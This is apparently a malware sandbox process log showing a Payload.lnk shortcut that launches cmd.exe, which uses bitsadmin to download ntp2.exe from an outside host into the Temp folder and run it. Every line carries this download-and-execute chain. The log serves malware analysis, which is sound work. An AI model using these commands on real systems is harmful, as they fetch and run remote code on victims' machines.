cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "DatzzQSVGowlEQwT" C:\Users\test22\AppData\Local\Temp\Payload.lnk
3032cmd.exe "C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\test22\AppData\Local\Temp\ntp2.exe' & start C:\Users\test22\AppData\Local\Temp\ntp2.exe'
2188bitsadmin.exe bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\test22\AppData\Local\Temp\ntp2.exe'
200